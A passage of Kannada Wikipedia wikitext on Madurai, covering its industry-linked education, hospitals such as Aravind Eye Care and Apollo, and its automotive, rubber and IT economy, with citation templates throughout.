Up|accessdate=2009-04-18|archive-date=2009-03-16|archive-url=https://web.archive.org/web/20090316123915/http://www.oracle.com/global/in/education/maps/oracle_wdp.html|url-status=dead}}</ref> IBM<ref>{{cite web|url=http://www.klnce.edu/ibm/rational/ibm_rational.html|title= IBM Rational Center of Excellence at KLN |accessdate = 2008-12-24}}</ref> ಮತ್ತು HCL<ref>{{cite web|url=http://www.hinduonnet.com/2007/11/29/stories/2007112950140100.htm|title=HCL chooses Madurai for radio frequency project|accessdate=2008-12-24|archive-date=2008-12-26|archive-url=https://web.archive.org/web/20081226134740/http://www.hinduonnet.com/2007/11/29/stories/2007112950140100.htm|url-status=dead}}</ref> ನಂತಹಾ ರಾಷ್ಟ್ರದ ಮುಂಚೂಣಿ ಔದ್ಯಮಿಕ ಸಂಸ್ಥೆಗಳೊಂದಿಗೆ ಸಂಘಟಿತವಾಗಿವೆ. ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ವಿಶ್ವವಿದ್ಯಾಲಯಗಳಿಂದ ಏರ್ಪಾಡು ಮಾಡಲಾದ ಸಾಂಸ್ಥಿಕ ಸಂದರ್ಶನಗಳಲ್ಲಿ ಅಗ್ರಗಣ್ಯ ಉದ್ಯಮ ಸಂಸ್ಥೆಗಳು ಭಾಗವಹಿಸಿ ಯಶಸ್ವಿ ನೇಮಕಾತಿಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತಿದೆ. ಔದ್ಯಮಿಕ ಅಂದಾಜುಗಳ ಪ್ರಕಾರ ಮೆಟ್ರೋ ನಗರಗಳಲ್ಲಿನ IT ಉದ್ಯಮದಲ್ಲಿರುವ ಸುಮಾರು 15ರಿಂದ 20 ಪ್ರತಿಶತ ಮಾನವ ಸಂಪನ್ಮೂಲವು ಮಧುರೈ ಮತ್ತು ಸುತ್ತಮುತ್ತಲಿನ ಜಿಲ್ಲೆಗಳಿಂದ ಶಿಕ್ಷಣ ಪಡೆದವರು <ref>{{cite web|url=http://www.thehindubusinessline.com/2007/10/20/stories/2007102052622300.htm|title = Madurai- gateway to prosperity |accessdate = 2008-12-24}}</ref>. ಮಾ ಫೋಯ್‌ ಮತ್ತು VETAಗಳು ಇತರೆ ಪ್ರತಿಷ್ಠಿತ ಸಂಸ್ಥೆಗಳು. ಮತ್ತೊಂದು ಹೊಸ ಆದರೆ ಮುಂದೆಬರುತ್ತಿರುವ/ಅಭ್ಯುದಯ ಹೊಂದುತ್ತಿರುವ ನಾವೀನ್ಯತೆಯುಳ್ಳ ಶಿಕ್ಷಣ ಕೇಂದ್ರವು ಪುಲ್ಲೋತು/ಥುನಲ್ಲಿದೆ. ಅದೆಂದರೆ ಎರಡು ವರ್ಷ ಕಾಲದ ಅದ್ವಿತೀಯ ಅಭಿವೃದ್ಧಿ ನಿರ್ವಹಣೆಯ ಅಧ್ಯಯನವನ್ನು ಆರಂಭಿಸಿರುವ ಟಾಟಾ-ಧನ್‌ ಅಕಾಡೆಮಿ<ref>http://www.dhan.org/tda</ref>. ಈ ಸಂಸ್ಥೆಯು ಈ ಕ್ಷೇತ್ರದ ಪ್ರವರ್ತಕ ಸಂಸ್ಥೆಯೆಂಬ ಹೆಗ್ಗಳಿಕೆ ಹೊಂದಿದ್ದು ಧನ್‌ ಪ್ರತಿಷ್ಠಾನ ಮತ್ತು ಸರ್‌ ರತನ್‌ ಟಾಟಾ ಟ್ರಸ್ಟ್‌ಗಳಿಂದ ಆರ್ಥಿಕ ಬೆಂಬಲ ಪಡೆದಿದೆ.{{Citation needed|date=August 2009}} == ಆರೋಗ್ಯರಕ್ಷಣೆ == ಸರ್ಕಾರದ ರಾಜಾಜಿ ಆಸ್ಪತ್ರೆಯೊಂದಿಗೆ ಅನೇಕ ಖಾಸಗಿ ಆಸ್ಪತ್ರೆಗಳಾದ ಅರವಿಂದ ಕಣ್ಣಿನ ಆಸ್ಪತ್ರೆ, ಅಪೋಲೋ ಸ್ಪೆಷಾಲಿಟಿ ಆಸ್ಪತ್ರೆ, ಮೀನಾಕ್ಷಿ ಮಿಷನ್‌ ಆಸ್ಪತ್ರೆ ಮತ್ತು ಸಂಶೋಧನಾ ಕೇಂದ್ರ, ವಡಮಾಲಯನ್‌ ಆಸ್ಪತ್ರೆ ಮತ್ತು ಕ್ವಾಲಿಟಿ ಕೇರ್‌ ಆಸ್ಪತ್ರೆಗಳು ನಗರವನ್ನು ನಿರ್ವಹಿಸಬಹುದಾದಂತಹಾ ವೆಚ್ಚದಲ್ಲಿ ಹೆರಿಟೇಜ್‌ ಪ್ರವಾಸೋದ್ಯಮದೊಂದಿಗೆ ಆರೋಗ್ಯ ರಕ್ಷಣೆಯನ್ನು ನೀಡುವ ತಾಣವನ್ನಾಗಿಸಿವೆ <ref>{{cite web|url= http://www.thehindubusinessline.com/2007/10/20/stories/2007102052622300.htm|title= Madurai — a gateway to prosperity | accessdate = 2008-12-24}}</ref>. [[ಚಿತ್ರ:Aravind hospital.jpg|thumb|right|ಅನ್ನಾ ನಗರ್‌ನಲ್ಲಿರುವ ಅರವಿಂದ್‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯ]] ಮಧುರೈ ನಗರವು 1976ರಲ್ಲಿ Dr.[[ಗೋವಿಂದಪ್ಪ ವೆಂಕಟಸ್ವಾಮಿ]]ಯವರಿಂದ ಸ್ಥಾಪಿತವಾದ [http://www.aravind.org/ ಅರವಿಂದ್‌‌ ಐಕೇರ್‌ ಸಿಸ್ಟಂ] ಸಂಸ್ಥೆಯ ನೆಲೆಯಾಗಿದೆ. ಇಂದು ಇದು ವಿಶ್ವದಲ್ಲೇ ಅತ್ಯಂತ ಸುಸಜ್ಜಿತವಾದ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಲ್ಲಿ ಒಂದು <ref>{{cite web|url= http://www.aravind.org/education/homepage.htm|title= Aravind Eye Care System -official website|accessdate= 2008-12-24|archive-date= 2008-12-21|archive-url= https://web.archive.org/web/20081221123041/http://www.aravind.org/education/homepage.htm|url-status= dead}}</ref>. ಇಂದು ಮಧುರೈನಲ್ಲಿರುವ ಆಸ್ಪತ್ರೆಯಲ್ಲದೇ, [[ಥೇಣಿ]], [[ತಿರುನಲ್ವೇಲಿ]], [[ಕೊಯಮತ್ತೂರು]], ಮತ್ತು [[ಪುದುಚೇರಿ]]ಗಳಲ್ಲಿ ಇರುವ ನಾಲ್ಕು ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಿಂದ ಒಟ್ಟು 3,590 ರೋಗಿಗಳಿಗೆ ಸೇವೆ ನೀಡಬಹುದಾಗಿದೆ. ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳು ತಮ್ಮ ಸೇವಾ ಮನೋಭಾವನೆ,ಆಧುನಿಕ ನೇತ್ರ ತಂತ್ರಜ್ಞಾನಗಳ ಬಳಕೆ ಮತ್ತು ಹಳ್ಳಿಯ ಜನಗಳಿಗೆ ನೀಡುತ್ತಿರುವ ಉತ್ತಮ ಗುಣಮಟ್ಟದ ನೇತ್ರ ಚಿಕಿತ್ಸೆಗಳಿಗೆ, ಸಮುದಾಯ ಆಧಾರಿತ ವ್ಯಾಪಕ ಚಟುವಟಿಕೆಗಳಿಗೆ ರಾಷ್ಟ್ರೀಯ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಪ್ರಾಮುಖ್ಯತೆ ಗಳಿಸಿವೆ<ref>{{cite web|url=http://www.hindu.com/2008/11/14/stories/2008111451100200.htm|title=Bangladesh, Indonesia seek Madurai eye hospital’s expertise|accessdate=2008-12-24|archive-date=2009-01-25|archive-url=https://web.archive.org/web/20090125164608/http://www.hindu.com/2008/11/14/stories/2008111451100200.htm|url-status=dead}}</ref>. ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಲ್ಲಿ 2006ನೇ ಇಸವಿಯ ಅವಧಿಯಲ್ಲಿ ಒಟ್ಟು 2,313,398 ಹೊರರೋಗಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಯಿತಲ್ಲದೇ ಮತ್ತು 270,444 ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಳನ್ನು ಮಾಡಲಾಗಿತ್ತು. ಹೊರರೋಗಿಗಳಲ್ಲಿ ಮೂರನೇ ಎರಡರಷ್ಟು ಮಂದಿ ಹಾಗೂ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಳಲ್ಲಿ ನಾಲ್ಕರಲ್ಲಿ ಮೂರರಷ್ಟು ಮಂದಿ ಬಡವರಾಗಿದ್ದರು ಅವರಿಗೆ ಉಚಿತ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗಿತ್ತು. ಮಧುರೈನ ಅಪೋಲೋ ಸ್ಪೆಷಾಲಿಟಿ ಆಸ್ಪತ್ರೆಗಳನ್ನು 1997ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಆಸ್ಪತ್ರೆಯು ವಾರ್ಷಿಕವಾಗಿ 15,000 ರೋಗಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಿ ಒಟ್ಟಾರೆ 98%ದಷ್ಟು ಯಶಸ್ವಿ ಚಿಕಿತ್ಸೆಯ ದರವನ್ನು ಕಾಪಾಡಿಕೊಂಡಿದೆ. 24-ಗಂಟೆ ಸೇವಾ ತತ್ಪರರಾಗಿರುವ ವಿಶೇಷ ತಜ್ಞರ ತಂಡವು ಆಸ್ಪತ್ರೆಯಲ್ಲಿರುತ್ತದೆ. ಆಸ್ಪತ್ರೆಯು ದಕ್ಷಿಣಭಾರತದಲ್ಲೇ ಪ್ರಥಮ ಬಾರಿಗೆ ಮೂತ್ರಪಿಂಡಶಾಸ್ತ್ರದ ತುರ್ತು ನಿಗಾ ಘಟಕ ಮತ್ತು ಪ್ರಥಮ ಅಪಧಮನಿ ಹಾಗೂ ಮೂತ್ರಪಿಂಡಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಆಂಜಿಯೋಪ್ಲಾಸ್ಟಿ ಚಿಕಿತ್ಸಾ ಘಟಕವನ್ನು ಹೊಂದಿತ್ತು. ಉದರದರ್ಶಕದ ಮೂಲಕ ಮೂತ್ರಪಿಂಡಜೋಡಣೆ ಮಾಡುವ ವಿಶ್ವದಲ್ಲೇ 5ನೇ ಹಾಗೂ ಭಾರತದಲ್ಲಿ No. 1 ಕೇಂದ್ರವಾಗಿದೆ(ದಾತರ ಮೂತ್ರಪಿಂಡಚ್ಛೇದನ)<ref>{{cite web|url= http://www.apollohospitals.com/madurai.asp?PgeuId=1066|title= Apollo Hospitals - official website|accessdate= 2008-12-24|archive-date= 2008-12-26|archive-url= https://web.archive.org/web/20081226133919/http://www.apollohospitals.com/madurai.asp?PgeuId=1066|url-status= dead}}</ref>. ಅಪೋಲೋ ಸಮೂಹದ ಆಸ್ಪತ್ರೆಗಳು ಅನೇಕ ಭಾರತೀಯ ನಗರಗಳಲ್ಲಿ ಹರಡಿವೆಯಲ್ಲದೇ ಇಂದಿಗೆ ಅಪೋಲೋ ಆಸ್ಪತ್ರೆಗಳು ಜಾಗತಿಕ ಆರೋಗ್ಯ ರಕ್ಷಣೆಯಲ್ಲಿ ಭಾರತವು ಅತ್ಯುತ್ತಮ ವೈದ್ಯಕೀಯ ಸೇವೆಗಳು ಲಭ್ಯವಿರುವ ರಾಷ್ಟ್ರವೆಂಬ ಸ್ಥಾನ ಸಿಗಲು ಅಗ್ರ ಪ್ರವರ್ತಕ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊತ್ತಿವೆ. == ಆರ್ಥಿಕತೆ == ಮಧುರೈ ಜಿಲ್ಲೆಯು ಖಾಸಗಿ ಕ್ಷೇತ್ರದಲ್ಲಿ ಟೈರ್‌ಗಳು, ಔದ್ಯಮಿಕ ರಬ್ಬರ್‌ ಉತ್ಪನ್ನಗಳು, ಯಂತ್ರಗಳು, ವಸ್ತ್ರೋದ್ಯಮ, ಕನ್ವೇಯರ್‌ ಬೆಲ್ಟ್‌ಗಳು, ರಾಸಾಯನಿಕ etc.ಗಳಂತಹಾ ಸಾಮಗ್ರಿಗಳ ಉತ್ಪಾದನೆಯಲ್ಲಿ ತೊಡಗಿಕೊಂಡಿರುವ ಪ್ರತಿಷ್ಠಿತ ಸಂಸ್ಥೆಗಳ ನೆಲೆಯಾಗಿದೆ. ಮಧುರೈ TVS ಸಮೂಹದ ನೆಲೆಯಾಗಿದೆ<ref>{{cite web|url= http://www.tvsgroup.com/pages/contact.htm |title= TVS Group | accessdate = 2009-01-24}}</ref>. === ಸ್ವಯಂಚಾಲಿತ ವಾಹನ/ವಾಹನೋದ್ಯಮ === ತಯಾರಿಕೆ ಮತ್ತು ವಾಹನೋದ್ಯಮ ಕ್ಷೇತ್ರದಲ್ಲಿ, ಟ್ರಾಕ್ಟರ್ಸ್‌ ಅಂಡ್‌ ಫಾರ್ಮ್‌‌ ಈಕ್ವಿಪ್‌ಮೆಂಟ್‌ ಲಿಮಿಟೆಡ್‌ (TAFE) (ವಿಶ್ವದ ಐದು ಪ್ರಖ್ಯಾತ ಟ್ರಾಕ್ಟರ್‌ ತಯಾರಕರಲ್ಲಿ ಒಬ್ಬರು), [http://fennerindia.com/html/manufacturing.asp ಫೆನ್ನರ್‌ (ಭಾರತ) Ltd] {{Webarchive|url=https://web.archive.org/web/20100103071130/http://fennerindia.com/html/manufacturing.asp |date=2010-01-03 }} (ಔದ್ಯಮಿಕ ಮತ್ತು ವಾಹನ ತಯಾರಿಕೆಯ V-ಬೆಲ್ಟ್‌ಗಳು, ಆಯಿಲ್‌ಸೀಲ್‌ಗಳು ಮತ್ತು ಶಕ್ತಿ ಸಂವಹನ ಪರಿಕರಗಳು), ಹೈ-ಟೆಕ್‌ ಅರೈ Ltd (ಆಯಿಲ್‌ಸೀಲ್‌ಗಳು ಮತ್ತು ವಾಹನ ಸಾಮಗ್ರಿಗಳು )<ref>{{cite web|url= http://www.business-standard.com/india/storypage.php?autono=292804 |title= Hi-Tech Arai to set up Rs 25 cr plant in Madurai | accessdate = 2009-01-24}}</ref>, ಜಾರ್ಜ್‌ ಓಕ್ಸ್‌ ltd, ZF ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ TVS (ಭಾರತ) ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌‌(ಸ್ವಿಚ್‌ಗಳ ತಯಾರಿಕೆ , TVS ಸಮೂಹ, ಭಾರತ ಹಾಗೂ Zf ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಕಾರ್ಪೋರೇಷನ್‌, USAಗಳ ಸಹಭಾಗಿತ್ವ), ಸುಂದರಂ ಫಾಸನರ್ಸ್‌‌ Ltd (ಹೆಚ್ಚಿನ ಕರ್ಷಕ ಸಾಮರ್ಥ್ಯದ ಬಂಧಕ/ನಿಗಳ ತಯಾರಕರು ), [http://www.indiaautomotive.net/2008/08/firestone-tvs-plant-inaugurated-near.html ಫೈರ್‌ಸ್ಟೋನ್‌ TVS ಪ್ರೈವೇಟ್‌ Ltd] {{Webarchive|url=https://web.archive.org/web/20110315093926/http://www.indiaautomotive.net/2008/08/firestone-tvs-plant-inaugurated-near.html |date=2011-03-15 }}(ಏರ್‌ ಸ್ಪ್ರಿಂಗ್‌‌ಳ ತಯಾರಕರು), [http://www.msl.co.in/ MADRAS SUSPENSIONS LIMITED], TVS ಸ್ಯೂಯಿಂಗ್‌ ನೀಡಲ್ಸ್‌ ಲಿಮಿಟೆಡ್‌, TV ಸುಂದರಂ ಅಯ್ಯಂಗಾರ್‌ & ಸನ್ಸ್‌ ಲಿಮಿಟೆಡ್‌‌ (ಹೆಚ್ಚಿನ ಕ್ಷಮತೆಯ ವಾಣಿಜ್ಯ ವಾಹನಗಳು, ಜೀಪ್‌ಗಳು,ಕಾರುಗಳ ವಿತರಕರು) ಮತ್ತು ಸುಸೀ ಸಮೂಹ (ತಮಿಳುನಾಡಿನಾದ್ಯಂತ ವಾಹನಗಳ ಮಾರಾಟ, ಸೇವೆ, ಪರಿಕರಗಳು, ಹಣಕಾಸು ವ್ಯವಸ್ಥೆ ನೀಡುವ ಸಂಸ್ಥೆ)ಗಳು ಗಮನಾರ್ಹ ಕಂಪೆನಿಗಳು. General Motors, Ford, Toyota ಮತ್ತು Hondaಗಳೂ ಸೇರಿದಂತೆ ವಾಹನ ತಯಾರಿಕಾ ಕ್ಷೇತ್ರದ ಎಲ್ಲಾ ಬೃಹತ್‌ ಕಂಪೆನಿಗಳೂ ನಗರದಲ್ಲಿ ಉತ್ಪಾದಿಸಿದ ವಾಹನ ಸಾಮಗ್ರಿಗಳ ನಿಯತ ಗ್ರಾಹಕರಾಗಿವೆ<ref name="hindu.com">{{cite web |url= http://www.hindu.com/2007/10/25/stories/2007102550550200.htm |title= An industry that can bolster the economy of Madurai |accessdate= 2009-01-24 |archive-date= 2007-10-26 |archive-url= https://web.archive.org/web/20071026133827/http://www.hindu.com/2007/10/25/stories/2007102550550200.htm |url-status= dead }}</ref>. 2,000 ಎಕರೆಗಳಷ್ಟು ವಿಶಾಲವಾದ ಪ್ರದೇಶದಲ್ಲಿ [[ರಾಜ್ಯ ಸರ್ಕಾರ]]ವು ತಯಾರಿಕಾ ಉದ್ಯಮಕ್ಕೆ ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ವಾಹನ ತಯಾರಿಕಾ ಪರಿಕರಗಳ ಉದ್ಯಮಕ್ಕೆ ಆದ್ಯತೆ ನೀಡಿ ಕೈಗಾರಿಕಾ ಪ್ರದೇಶವನ್ನು ಸ್ಥಾಪಿಸಲು ಉದ್ದೇಶಿಸಿದೆ<ref>{{cite web|url= http://business-standard.com/india/storypage.php?autono=343274|title= Industrial estate planned in Madurai | accessdate = 2009-01-24}}</ref>. === ರಬ್ಬರು === TVS ಶ್ರೀಚಕ್ರ (ಟೈರ್‌ಗಳ ತಯಾರಿಕೆ), ಸುಂದರಂ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಲಿಮಿಟೆಡ್‌‌ (ರಬ್ಬರ್‌ ವಿಭಾಗ, ಕೋಚ್‌ ವಿಭಾಗ) ಮತ್ತು LANXESS ಇಂಡಿಯಾ ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌ಗಳು ಇಲ್ಲಿನ ಕೆಲ ರಬ್ಬರ್‌ ಆಧಾರಿತ ಉದ್ಯಮಗಳು. ಭಾರತ್‌ ರಬ್ಬರ್‌ ಇಂಡಿಯಾ ಲಿಮಿಟೆಡ್‌‌ (BRIL) ಕಂಪೆನಿಯು ವಿ-ಬೆಲ್ಟ್‌ಗಳು, ಫ್ಯಾನ್‌ ಬೆಲ್ಟ್‌ಗಳ ಪ್ರಧಾನ ತಯಾರಕರಾಗಿದ್ದು VEEHOLD ಎಂಬ ಬ್ರಾಂಡ್‌ನಡಿಯಲ್ಲಿ ಭಾರತದಾದ್ಯಂತ ಮಾರಾಟ ಮಾಡುತ್ತದೆ. ರಬ್ಬರ್‌ ಉತ್ಪಾದನಾ ಕೇಂದ್ರಗಳಿಗೆ ಹತ್ತಿರವಿರುವ ಕಾರಣದಿಂದಾಗಿ, ರಬ್ಬರ್‌ ಇಲ್ಲಿನ ಸಾಂಪ್ರದಾಯಿಕ ಉದ್ಯಮವಾಗಿತ್ತು. ಕೈಚೀಲಗಳು, ಕ್ರೀಡಾ ಸಾಮಗ್ರಿಗಳು, ಮಂದಲಿಗೆ/ಚಾಪೆಗಳು ಮತ್ತಿತರ ಉಪಯುಕ್ತ ಸಾಮಗ್ರಿಗಳೊಂದಿಗೆ, ಮಧುರೈ ರಬ್ಬರ್‌ನಿಂದ ಮಾಡಿದ ವಾಹನ ಪರಿಕರಗಳ ಉತ್ಪಾದನೆಯಲ್ಲಿ ದೊಡ್ಡ ಹೆಸರು ಮಾಡಿದೆ. ವಾರ್ಷಿಕವಾಗಿ ಸುಮಾರು Rs.1,000 ಕೋಟಿಗಳಷ್ಟು ಮೊತ್ತದ ರಬ್ಬರ್‌ ಸರಕುಗಳನ್ನು ಇಲ್ಲಿ ಉತ್ಪಾದಿಸಲಾಗುತ್ತದೆ<ref name="hindu.com" />. ರಬ್ಬರ್‌ ಉದ್ಯಮ, ಉದ್ಯಮಿಗಳ ಅಭಿಪ್ರಾಯಗಳು ಮಧುರೈನ ಆರ್ಥಿಕತೆಯ ಮೇಲೆ ಭಾರೀ ಪರಿಣಾಮ ಬೀರಬಲ್ಲವು. ವಾಹನ ತಯಾರಿಕಾ ಕ್ಷೇತ್ರದಲ್ಲಿನ ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯಿಂದಾಗಬಹುದಾದ ಈ ಉದ್ಯಮದಲ್ಲಿನ ಉದ್ದೇಶಿತ ಬೆಳವಣಿಗೆಯು ಸ್ಥಳೀಯ ಆರ್ಥಿಕತೆಯ ಇನ್ನಿತರ ಭಾಗಗಳಲ್ಲಿ ಸರಣಿಕ್ರಮದ ಪ್ರಭಾವ ಬೀರುವಷ್ಟಿರುತ್ತದೆ. ಈ ಉದ್ಯಮವು ಮಾಲಿನ್ಯಕಾರಕಗಳ ಉತ್ಪಾದನೆಯ ಸಾಧ್ಯತೆ ಹೆಚ್ಚಾಗಿರುವ ಉದ್ಯಮವಾದರೂ ಸಹಾ ಉತ್ಪಾದಕರು/ತಯಾರಕರು “ವಿಶೇಷ ಎಚ್ಚರ”ಗಳನ್ನು ವಹಿಸಿ ಪರಿಸರಸ್ನೇಹಿ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದ್ದಾರೆ. ಶೀಘ್ರದಲ್ಲೇ ನಗರದಲ್ಲಿ ರಬ್ಬರ್ ಉದ್ಯಮದ ಗುಚ್ಛಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ. ಮಧುರೈ ಜಿಲ್ಲೆಯ ಟೈನಿ ಅಂಡ್‌ ಸ್ಮಾಲ್‌ ಸ್ಕೇಲ್‌ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಅಸೋಸಿಯೇಷನ್‌ (MADITSSIA) ಮತ್ತು ರಬ್ಬರ್‌ ಪಾರ್ಕ್‌‌ (ಮಧುರೈ) ಲಿಮಿಟೆಡ್‌ಗಳು <ref>{{cite web|url= http://www.hindu.com/2008/01/05/stories/2008010559400200.htm|title= Rubber cluster to be established in Madurai|accessdate= 2009-01-24|archive-date= 2009-06-04|archive-url= https://web.archive.org/web/20090604203937/http://www.hindu.com/2008/01/05/stories/2008010559400200.htm|url-status= dead}}</ref> ತಮ್ಮ ನಡುವಿನ ಒಪ್ಪಂದದ ಜ್ಞಾಪಕಪತ್ರ(MoU)ಕ್ಕೆ ಸಹಿ ಹಾಕಿದವು. ಈಗಾಗಲೇ ಕಾರ್ಯಪ್ರವೃತ್ತವಾಗಿರುವ ಕೆಲ ಕೈಗಾರಿಕಾ ಯೋಜನೆಗಳೆಂದರೆ BHEL ಪೂರಕ ಘಟಕಗಳು <ref>{{cite web|url= http://www.thehindubusinessline.com/2008/09/08/stories/2008090851321500.htm |title= BHEL ancillary units’ estate planned | accessdate = 2009-01-24}}</ref> ಮತ್ತು ಕ/ಕ್ಯಾಪರೋ ಎಂಜಿನಿಯರಿಂಗ್‌ ಇಂಡಿಯಾ Pvt Ltd <ref>{{cite web|url= http://economictimes.indiatimes.com/Caparo_to_be_No_1_in_metal_sector_Swraj_Paul/articleshow/2393693.cms |title= Caparo to be No 1 in metal sector | accessdate = 2009-01-24}}</ref> ಉದ್ಯಮಗಳು. === IT ಮತ್ತು ITES === [[ಚಿತ್ರ:Honeywell Madurai recent.JPG|140px|thumb|left|ತಿರುಪ್ಪರಾಂಕುಂದ್ರಂನಲ್ಲಿರುವ ಹನಿವೆಲ್‌ ಕಂಪೆನಿಯ ಕಛೇರಿ]] ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ [[IT]] ಉದ್ಯಮವು ಮಧುರೈನ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಪ್ರಭಾವ ಬೀರಲು ಆರಂಭಿಸಿದೆ. [[ಸಾಫ್ಟ್‌ವೇರ್‌ ಟೆಕ್ನಾಲಜಿ ಪಾರ್ಕ್ಸ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ]], ಭಾರತ ಸರಕಾರದ ಒಂದು ನಿಯೋಗಿ ಸಂಸ್ಥೆಯಾಗಿದ್ದು ತನ್ನ ರಾಷ್ಟ್ರೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಅಭಿವೃದ್ಧಿ ಯೋಜನೆಯಡಿ ಅನುಕೂಲತೆಗಳನ್ನು ಪಡೆಯಲು ಮಧುರೈನಲ್ಲಿನ ಅನೇಕ ಕಂಪೆನಿಗಳನ್ನು ಪ್ರಮಾಣೀಕರಿಸಿದೆ/ಗಳಿಗೆ ಮಂಜೂರಾತಿ ನೀಡಿದೆ. ಹನಿವೆಲ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ ಇಂಡಿಯಾದಂತಹ MNCಗಳಿಗೆ ನಗರವು ನೆಲೆಯಾಗಿದೆ. ಉದ್ಯೋಗ/ಕೆಲಸದ ಸಂಸ್ಕೃತಿ, ಕನಿಷ್ಟ ಘರ್ಷಣೆಯ ದರ ಮತ್ತು ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳ ಲಭ್ಯತೆಗಳ ಕಾರಣದಿಂದಾಗಿ, [[HCL]], [[Satyam]], Oracle ಮತ್ತು ಸುದರ್‌ಲೆಂಡ್ ಗ್ಲೋಬಲ್‌ ಸರ್ವೀಸಸ್‌<ref>{{cite web|url= http://www.moneycontrol.com/india/news/business/madurai-is-next-bpo-hub-making-/20/41/324363 |title= Madurai is next BPO hub in the making | accessdate = 2008-12-23}}</ref><ref>{{cite web|url=http://www.ciol.com/SMB/News-Reports/Oracle-eyes-SMEs/41108112252/0/|title= Oracle plans to open a new centre in Madurai|accessdate = 2008-12-23}}</ref> ಗಳಂತಹಾ ಪ್ರಮುಖ IT ಕಂಪೆನಿಗಳನ್ನು ನಗರವು ಆಕರ್ಷಿಸುತ್ತಿದೆ. ತಮಿಳುನಾಡು ಸರಕಾರವು ಎರಡು IT- [[ವಿಶೇಷ ಆರ್ಥಿಕ ವಲಯ]] (SEZ)ಗಳನ್ನು ಮಧುರೈನಲ್ಲಿ ಸ್ಥಾಪಿಸಲು ಪ್ರಸ್ತಾವ ನೀಡಿದೆ ಮತ್ತು ಅವುಗಳನ್ನು ಈಗಾಗಲೇ ಪೂರ್ಣ ರೀತಿಯಲ್ಲಿ ಅನೇಕ IT ಕಂಪೆನಿಗಳು ತಮ್ಮ ಸುಪರ್ದಿಗೆ ತೆಗೆದುಕೊಂಡಿವೆ <ref>{{cite web|url= http://www.elcot.in/it-parks.php?page=4|title= ELCOT website | accessdate = 2008-12-24}}</ref>.ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ/ಇನ್‌ಫರ್ಮೇಷನ್‌ ಟೆಕ್ನಾಲಜಿ ಪಾರ್ಕ್‌<ref>{{cite web|url= http://www.hindu.com/2008/12/07/stories/2008120758080200.htm|title= Work on provision of infrastructure begins in Information Technology parks|accessdate= 2008-12-24|archive-date= 2008-12-10|archive-url= https://web.archive.org/web/20081210060826/http://www.hindu.com/2008/12/07/stories/2008120758080200.htm|url-status= dead}}</ref> ಗಳಲ್ಲಿ ಆಧಾರರಚನೆ ವ್ಯವಸ್ಥೆಗಳನ್ನು ನೀಡುವ ಪ್ರಕ್ರಿಯೆಯು ಪ್ರಗತಿಯಲ್ಲಿದೆ. ಮಧುರೈನಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತ ಉತ್ತಮ ಗುಣಮಟ್ಟದ [[ಮಾನವ ಸಂಪನ್ಮೂಲ]]ದ ಹೆಚ್ಚಿದ ಅಭಿವೃದ್ಧಿಯಿಂದಾಗಿ ಭಾರತದ No.2 IT ಪ್ರಧಾನ ಸಂಸ್ಥೆಯಾದ [[ಇನ್‌ಫೋಸಿಸ್‌]] ತನ್ನ ವಿಸ್ತರಣೆ ಹಾಗೂ ತನ್ನ ತಂತ್ರಾಂಶ ಅಭಿವೃದ್ಧಿ/ಡೆವಲಪ್‌ಮೆಂಟ್‌ ಕೇಂದ್ರವನ್ನು ತೆರೆಯಲು ಮಧುರೈನೆಡೆ ದೃಷ್ಟಿ ನೆಟ್ಟಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ.<ref>{{cite news|url=http://economictimes.indiatimes.com/Infotech/Software/Infosys-eyeing-Tier-II-cities-for-expansion/articleshow/4829201.cms |title=Infosys eyeing Tier-II cities for expansion- Software-Infotech-The Economic Times |publisher=Economictimes.indiatimes.com |date=2009-07-28 |accessdate=2009-09-23}}</ref> . ಮಧುರೈನಲ್ಲಿ ಕಾರ್ಯಾಚರಿಸುತ್ತಿರುವ ಹಾಗೂ ಇಲ್ಲಿನ ಆದಾಯಕ್ಕೆ ಕೊಡುಗೆ ನೀಡುತ್ತಿರುವ ತಂತ್ರಾಂಶ/ಸಾಫ್ಟ್‌ವೇರ್‌ ಕಂಪೆನಿಗಳ ಪಟ್ಟಿಯನ್ನು ಇಲ್ಲಿ ನೋಡಬಹುದು [[ಮಧುರೈನ ತಂತ್ರಾಂಶ/ಸಾಫ್ಟ್‌ವೇರ್‌ 